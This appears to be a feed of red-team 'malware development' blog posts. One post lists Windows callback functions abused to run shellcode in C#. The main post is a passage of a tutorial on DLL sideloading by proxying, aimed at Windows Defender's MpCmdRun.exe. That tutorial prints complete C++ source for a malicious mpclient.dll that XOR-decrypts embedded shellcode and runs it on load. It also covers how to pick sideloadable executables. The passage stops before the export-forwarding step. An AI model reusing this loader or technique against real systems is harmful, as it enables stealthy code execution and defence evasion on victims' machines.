<p>And that’s it, you’re all set!</p>]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><category term="redteam" /><summary type="html"><![CDATA[Scenario: You’re on a red team engagement and want to execute .NET utilites in your Beacon but need to increase your chances at evasion and opsec. You obviously can’t touch execute-assembly or similar utilities. You tried BOF.NET but sometimes the Beacon gets killed, or maybe you’re hesitant to try BOF.NET at all (I’ve been there).]]></summary></entry><entry><title type="html">Malware Development: CSharp Alterntive Shellcode Callbacks</title><link href="https://wsummerhill.github.io/malware/2022/12/09/CSharp-Alt-Shellcode-Callbacks.html" rel="alternate" type="text/html" title="Malware Development: CSharp Alterntive Shellcode Callbacks" /><published>2022-12-09T00:00:00+00:00</published><updated>2022-12-09T00:00:00+00:00</updated><id>https://wsummerhill.github.io/malware/2022/12/09/CSharp-Alt-Shellcode-Callbacks</id><content type="html" xml:base="https://wsummerhill.github.io/malware/2022/12/09/CSharp-Alt-Shellcode-Callbacks.html"><![CDATA[<p>For a while now, people have been using alternative callback methods in C/CSharp payloads instead of the vanilla <code class="language-plaintext highlighter-rouge">CreateThread()</code> 
or similar Windows API functions. There were several good repos on GitHub that can be used as resources to execute shellcode via Windows callback functions which were very interesting.</p>

<p>To touch on the technical details of this functionality, Windows callback functions are <em>“code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation.”</em>
(Source: <a href="https://learn.microsoft.com/en-us/dotnet/framework/interop/callback-functions">MSDN Windows Callback Functions</a></p>

<p>Simpuly put, callback functions can be used to execute a task from your code (such as exeucuting shellcode)! Your code with callback functions would look like this:<br />
<img src="https://user-images.githubusercontent.com/35749735/206265903-a15007be-40d8-4031-ab25-9b62ad517c8b.png" alt="image" /></p>

<p>Some of the most common callback functions that you may have heard of are <code class="language-plaintext highlighter-rouge">EnumFontFamilies()</code>, <code class="language-plaintext highlighter-rouge">EnumPrinters()</code>, and <code class="language-plaintext highlighter-rouge">EnumWindows()</code>. On top of that, there were MANY more documented callback functions that could be abused to execute shellcode in Windows. Here are some of the favourites shared with me or that I came across myself:</p>
<ul>
  <li><a href="https://github.com/DamonMohammadbagher/NativePayload_CBT">DamonMohammadbagher/NativePayload_CB</a></li>
  <li><a href="https://github.com/aahmad097/AlternativeShellcodeExec">aahmad097/AlternativeShellcodeExec</a></li>
  <li><a href="https://www.vx-underground.org/windows.html">VX Underground Windows malware</a></li>
  <li><a href="https://github.com/Wra7h/FlavorTown">Wra7h/FlavorTown</a></li>
</ul>

<p>I realized that there were numerous resources for C/C++ code samples to execute shellcode via callback funtions, but fewer resources  available for CSharp. So I decided to convert some C code callback samples to their CSharp equivalents or attempt to discover undocumented callback functions for shellcode execution.</p>

<p>Below is a list of all the callback functions I’ve created malware samples for (so far) to execute shellcode in CSharp:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AddPropSheetPageProc
CertEnumSystemStore
CertEnumSystemStoreLocation
CreateTimerQueueTimer
CryptEnumOIDInfo
DSA_EnumCallback
EncryptedFileRaw
EnumDateFormatsA
EnumFontFamiliesW
EnumLanguageGroupLocalesW
EnumObjects
EnumSystemCodePagesA
EnumSystemGeoID
EnumerateLoadedModules
FiberContextEdit
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
NotifyIpInterfaceChange
NotifyTeredoPortChange
SetTimer
SetupCommitFileQueueW
StackWalk
SymEnumProcesses
SymRegisterCallback
</code></pre></div></div>

<p>And finally, here is the GitHub repo of all the documented callback function malware samples I created in CSharp:<br />
LINK: <a href="https://github.com/wsummerhill/CSharp-Alt-Shellcode-Callbacks">My CSharp Alternative Shellcode Callbacks repo</a></p>]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><category term="malware" /><summary type="html"><![CDATA[For a while now, people have been using alternative callback methods in C/CSharp payloads instead of the vanilla CreateThread() or similar Windows API functions. There were several good repos on GitHub that can be used as resources to execute shellcode via Windows callback functions which were very interesting.]]></summary></entry><entry><title type="html">Malware Development: DLL Sideloading via ‘DLL Proxying’</title><link href="https://wsummerhill.github.io/redteam/2022/10/02/DLL-sideload-proxying.html" rel="alternate" type="text/html" title="Malware Development: DLL Sideloading via ‘DLL Proxying’" /><published>2022-10-02T00:00:00+00:00</published><updated>2022-10-02T00:00:00+00:00</updated><id>https://wsummerhill.github.io/redteam/2022/10/02/DLL-sideload-proxying</id><content type="html" xml:base="https://wsummerhill.github.io/redteam/2022/10/02/DLL-sideload-proxying.html"><![CDATA[<p>I’m going to cover an example of how to perform a DLL sideload from start to finish using a C++ payload and a legitimate DLL commonly found on disk. The specific technique covered is known as “<strong>DLL proxying</strong>” where we use the legitimate DLL along with a malicious DLL which exports all the functions that the legit DLL to execute properly. <br /></p>

<p><strong>In this post, we’ll walk through the following steps:</strong></p>
<ul>
  <li>What is DLL sideloading and DLL proxying</li>
  <li>How to choose an EXE and DLL to sideload</li>
  <li>How to create the malicous DLL to run shellcode</li>
  <li>How to find the exported functions needed to sideload the DLL</li>
  <li>Putting everything together for a successful DLL sideload attack</li>
</ul>

<p>But first…</p>

<h3 id="what-is-dll-sideloading">What is DLL sideloading?</h3>

<p><a href="https://attack.mitre.org/techniques/T1574/002/">Source: MITRE</a>
<em>“Side-loading involves hijacking which DLL a program loads. 
But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may 
directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).”</em></p>

<p>So we need to choose a legitimate EXE, find a DLL that it loads from disk, create a malicious DLL which runs shellcode, then copy/upload the EXE and DLL  to the same folder. Upon executing the EXE, it should sideload the malicious DLL hosted in the same folder.</p>

<h3 id="what-is-dll-proxying">What is DLL proxying</h3>
<p>The specific technique of DLL hijacking we’ll walkthrough is called DLL proxying which uses the following steps:</p>
<ol>
  <li>EXE starts and calls <code class="language-plaintext highlighter-rouge">malicious.dll</code> in same folder</li>
  <li><code class="language-plaintext highlighter-rouge">malicious.dll</code> calls legitimate <code class="language-plaintext highlighter-rouge">dll_orig.dll</code> in same folder by exporting all functions from the legitimate DLL</li>
  <li>Shellcode/payload runs in <code class="language-plaintext highlighter-rouge">malicious.dll</code> and also calls <code class="language-plaintext highlighter-rouge">dll_orig.dll</code> from the exported functions 
<br />
The execution flow of DLL proxying looks like this (<a href="https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence">Source: ired.team</a>):</li>
</ol>

<p><img src="https://user-images.githubusercontent.com/35749735/195198423-f5e76979-65ec-480b-a4c3-a2e032149e81.png" alt="image" /></p>

<h3 id="choosing-an-exe-and-dll-to-sideload">Choosing an EXE and DLL to sideload</h3>
<p>There are various methods we can use to find a legitimate EXE and DLL which it loads from disk. A public repository and great resource called <a href="https://hijacklibs.net/">Hijack Libs</a> can easily be used to search for known EXEs and DLLs that could be used for DLL sideloading or DLL hijacking. We could use this application to filter on specific vendors of types of DLL hijacks such as sideloading.</p>

<p><img src="https://user-images.githubusercontent.com/35749735/192627446-8402c80e-af7d-4433-97ef-40b4965e3eea.png" alt="hijack libs example" /></p>

<p>Alternatively, we could also use <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">Procmon</a> from Windows SysInternals to manually analyze existing running executables and determine which DLLs are being loaded by the process. We can load Procmon with the following filters to hunt for DLLs being loaded by 64-bit processes:</p>

<ul>
  <li><strong>Path -&gt; ends with -&gt; .dll</strong></li>
  <li><strong>Architecture -&gt; is -&gt; 64-bit</strong> (assuming we want 64-bit target EXEs)</li>
</ul>

<p><img src="https://user-images.githubusercontent.com/35749735/192628830-12bbd8e2-3ddf-4b2a-9741-44634c1cfe0c.png" alt="image" /></p>

<p>We can scroll through the output of Procmon to find executables and DLLs that are currently being loaded on the system. As an example, if we wanted to search for a DLL sideload against Windows Defender’s AMSI scanner (<strong>MpCmdRun.exe</strong>), we can add the following filter:</p>
<ul>
  <li><strong>Process Name -&gt; is -&gt; MpCmdRun.exe</strong> <br /></li>
</ul>

<p>Then we can run the executable from its expected location <code class="language-plaintext highlighter-rouge">%PROGRAMFILES%\Windows Defender\mpcmdrun.exe</code>, and in Procmon we can see the DLLs being loaded by the <strong>MpCmdRun.exe</strong> process which we could attempt to sideload. The target DLL <strong>mpclient.dll</strong> looks like a good target!</p>

<p><img src="https://user-images.githubusercontent.com/35749735/195383300-269d1609-ae87-49f9-9eaa-3e5f672777e9.png" alt="image" /></p>

<p>The DLL <strong>mpclient.dll</strong> is also a known DLL sideload that can be found in Hijack Libs at <a href="https://hijacklibs.net/entries/microsoft/built-in/mpclient.html">this URL</a>.</p>

<p>A third option for finding your own DLL sideloads is to use the publicly available tool <a href="https://github.com/ConsciousHacker/WFH">Windows Feature Hunter (WFH)</a> from <a href="https://twitter.com/conscioushacker">@ConsciousHacker</a> which has its own documentation and method for finding vulnerable DLL sideloads on your own system. If you prefer to go the easy route, there is a CSV list within the GitHub repo of discovered EXEs and their DLL sideloads <a href="https://github.com/ConsciousHacker/WFH/blob/main/examples/">found here</a> which has over 900 DLL sideloads you could abuse. Another blog has many more DLL hijacking examples <a href="https://github.com/wietze/windows-dll-hijacking/blob/master/dll_hijacking_candidates.csv">HERE</a>.</p>

<h3 id="creating-a-malicious-dll">Creating a malicious DLL</h3>

<p>Once we’ve found our executable and DLL sideload to target, we can now start to create our malicous DLL which will execute shellcode. In this example, we’re going to target the <strong>MpCmdRun.exe (Windows Defender)</strong> process with the DLL sideload of <strong>mpclient.dll</strong>.</p>

<p>Start by creating a new C++ project in Visual Studio for a “Dyamic-Link Library (DLL)” or make a new TXT file in a text editor to manually write your DLL. Visual Studio will compile the C++ DLL for you, otherwise if you’re using a text editor then you can compile it using the <strong>cl.exe</strong> command-line utility.</p>

<p>We’re going to create a relatively straightforward DLL which uses XOR decryption to decrypt shellcode and launch it via <em>CreateThread</em>. Upon execution, the shellcode will launch <em>calc.exe</em> as a proof-of-concept.</p>

<p>Here is the template code for our malicious DLL <strong>mpclient.dll</strong> which will run shellcode to spawn <em>calc.exe</em>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"pch.h"</span><span class="cp">
#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span>
<span class="c1">// XOR function</span>
<span class="kt">void</span> <span class="nf">XOR</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">data</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">data_len</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">key</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">key_len</span><span class="p">)</span> <span class="p">{</span>
	<span class="kt">int</span> <span class="n">j</span><span class="p">;</span>

	<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">data_len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">==</span> <span class="n">key_len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

		<span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>
		<span class="n">j</span><span class="o">++</span><span class="p">;</span>
	<span class="p">}</span>
<span class="p">}</span>

<span class="c1">// Calc.exe shellcode (exit function = thread)</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">payload</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xac</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0x97</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="mh">0x21</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xa0</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x69</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x3b</span><span class="p">,</span><span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0xf9</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0xcb</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="mh">0x3f</span><span class="p">,</span><span class="mh">0x3f</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0x7a</span><span class="p">,</span><span class="mh">0x38</span><span class="p">,</span><span class="mh">0x29</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0x99</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0xb3</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x70</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x11</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x7e</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x9f</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0xf8</span><span class="p">,</span><span class="mh">0x21</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0xbb</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x3a</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xfb</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x77</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0xb2</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0x46</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xa3</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0xf9</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x19</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xa3</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x21</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0xcf</span><span class="p">,</span><span class="mh">0xf9</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0xef</span><span class="p">,</span><span class="mh">0x15</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0x3a</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xf9</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0x43</span><span class="p">,</span><span class="mh">0xa4</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0x11</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x7e</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0x11</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x43</span><span class="p">,</span><span class="mh">0x3f</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0x7f</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x09</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xbc</span><span class="p">,</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x14</span><span class="p">,</span><span class="mh">0xcb</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0x3e</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0xef</span><span class="p">,</span><span class="mh">0x2d</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0xf8</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6b</span><span class="p">,</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0xef</span><span class="p">,</span><span class="mh">0x25</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0xa3</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x68</span><span class="p">,</span><span class="mh">0x71</span><span class="p">,</span><span class="mh">0x68</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0x3d</span><span class="p">,</span><span class="mh">0x7b</span><span class="p">,</span><span class="mh">0x11</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x2a</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x6a</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0xb3</span><span class="p">,</span><span class="mh">0x9e</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x93</span><span class="p">,</span><span class="mh">0x2b</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x69</span><span class="p">,</span><span class="mh">0x6a</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0xf9</span><span class="p">,</span><span class="mh">0x76</span><span class="p">,</span><span class="mh">0xc8</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x8c</span><span class="p">,</span><span class="mh">0x8c</span><span class="p">,</span><span class="mh">0x2a</span><span class="p">,</span><span class="mh">0x78</span><span class="p">,</span><span class="mh">0x8a</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x21</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x3f</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x21</span><span class="p">,</span><span class="mh">0x11</span><span class="p">,</span><span class="mh">0xfa</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0xf8</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0xcf</span><span class="p">,</span><span class="mh">0xe5</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x84</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x7a</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0xb1</span><span class="p">,</span><span class="mh">0x69</span><span class="p">,</span><span class="mh">0xd3</span><span class="p">,</span><span class="mh">0x84</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x4f</span><span class="p">,</span><span class="mh">0x71</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x3a</span><span class="p">,</span><span class="mh">0xb0</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0x84</span><span class="p">,</span><span class="mh">0x54</span><span class="p">,</span><span class="mh">0x55</span><span class="p">,</span><span class="mh">0xfb</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x05</span><span class="p">,</span><span class="mh">0x5f</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x2b</span><span class="p">,</span><span class="mh">0x25</span><span class="p">,</span><span class="mh">0xa8</span><span class="p">,</span><span class="mh">0x8a</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0x16</span><span class="p">,</span><span class="mh">0x5c</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x17</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x50</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">payload_len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>

<span class="c1">// Standard function to allocate memory, copy shellcode to it, and execute the thread</span>
<span class="k">extern</span> <span class="kr">__declspec</span><span class="p">(</span><span class="n">dllexport</span><span class="p">)</span> <span class="kt">int</span> <span class="n">RunThis</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">RunThis</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>

	<span class="kt">void</span><span class="o">*</span> <span class="n">exec_mem</span><span class="p">;</span>
	<span class="n">BOOL</span> <span class="n">rv</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">th</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">oldprotect</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">// Decryption key</span>
	<span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"P@ssw000rd!"</span><span class="p">;</span>

	<span class="c1">// Decrypt the shellcode</span>
	<span class="n">XOR</span><span class="p">((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">payload</span><span class="p">,</span> <span class="n">payload_len</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">key</span><span class="p">));</span>

	<span class="c1">// Allocate memory</span>
	<span class="n">exec_mem</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">payload_len</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>

	<span class="c1">// Copy payload to the buffer</span>
	<span class="n">RtlMoveMemory</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">payload_len</span><span class="p">);</span>

	<span class="c1">// Make the buffer executable</span>
	<span class="n">rv</span> <span class="o">=</span> <span class="n">VirtualProtect</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">,</span> <span class="n">payload_len</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READ</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">oldprotect</span><span class="p">);</span>

	<span class="c1">// If all good, run the shellcode</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">rv</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">th</span> <span class="o">=</span> <span class="n">CreateThread</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">exec_mem</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
		<span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">th</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="p">}</span>
	

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">//Runs as the Main() function</span>
<span class="n">BOOL</span> <span class="n">WINAPI</span> <span class="n">DllMain</span><span class="p">(</span><span class="n">HINSTANCE</span> <span class="n">hinstDLL</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">fdwReason</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpReserved</span><span class="p">)</span> <span class="p">{</span>

	<span class="k">switch</span> <span class="p">(</span><span class="n">fdwReason</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">//DLL_PROCESS_ATTACH will run when the DLL is loaded within a process</span>
	<span class="k">case</span> <span class="n">DLL_PROCESS_ATTACH</span><span class="p">:</span>
		<span class="n">RunThis</span><span class="p">();</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">DLL_THREAD_ATTACH</span><span class="p">:</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">DLL_THREAD_DETACH</span><span class="p">:</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">DLL_PROCESS_DETACH</span><span class="p">:</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="finding-exported-functions-from-the-legit-dll">Finding exported functions from the legit DLL</h3>

<p>Before we can finalize the malicious DLL, we will need to get a list of exported functions from the existing legitimate DLL on disk and add it to our malicious DLL. In order for the executable to run properly with our sideloaded DLL, we have to add the DLL’s exported functions to the malicious DLL to forward these functions to the legit DLL on disk.<br /><br /></p>

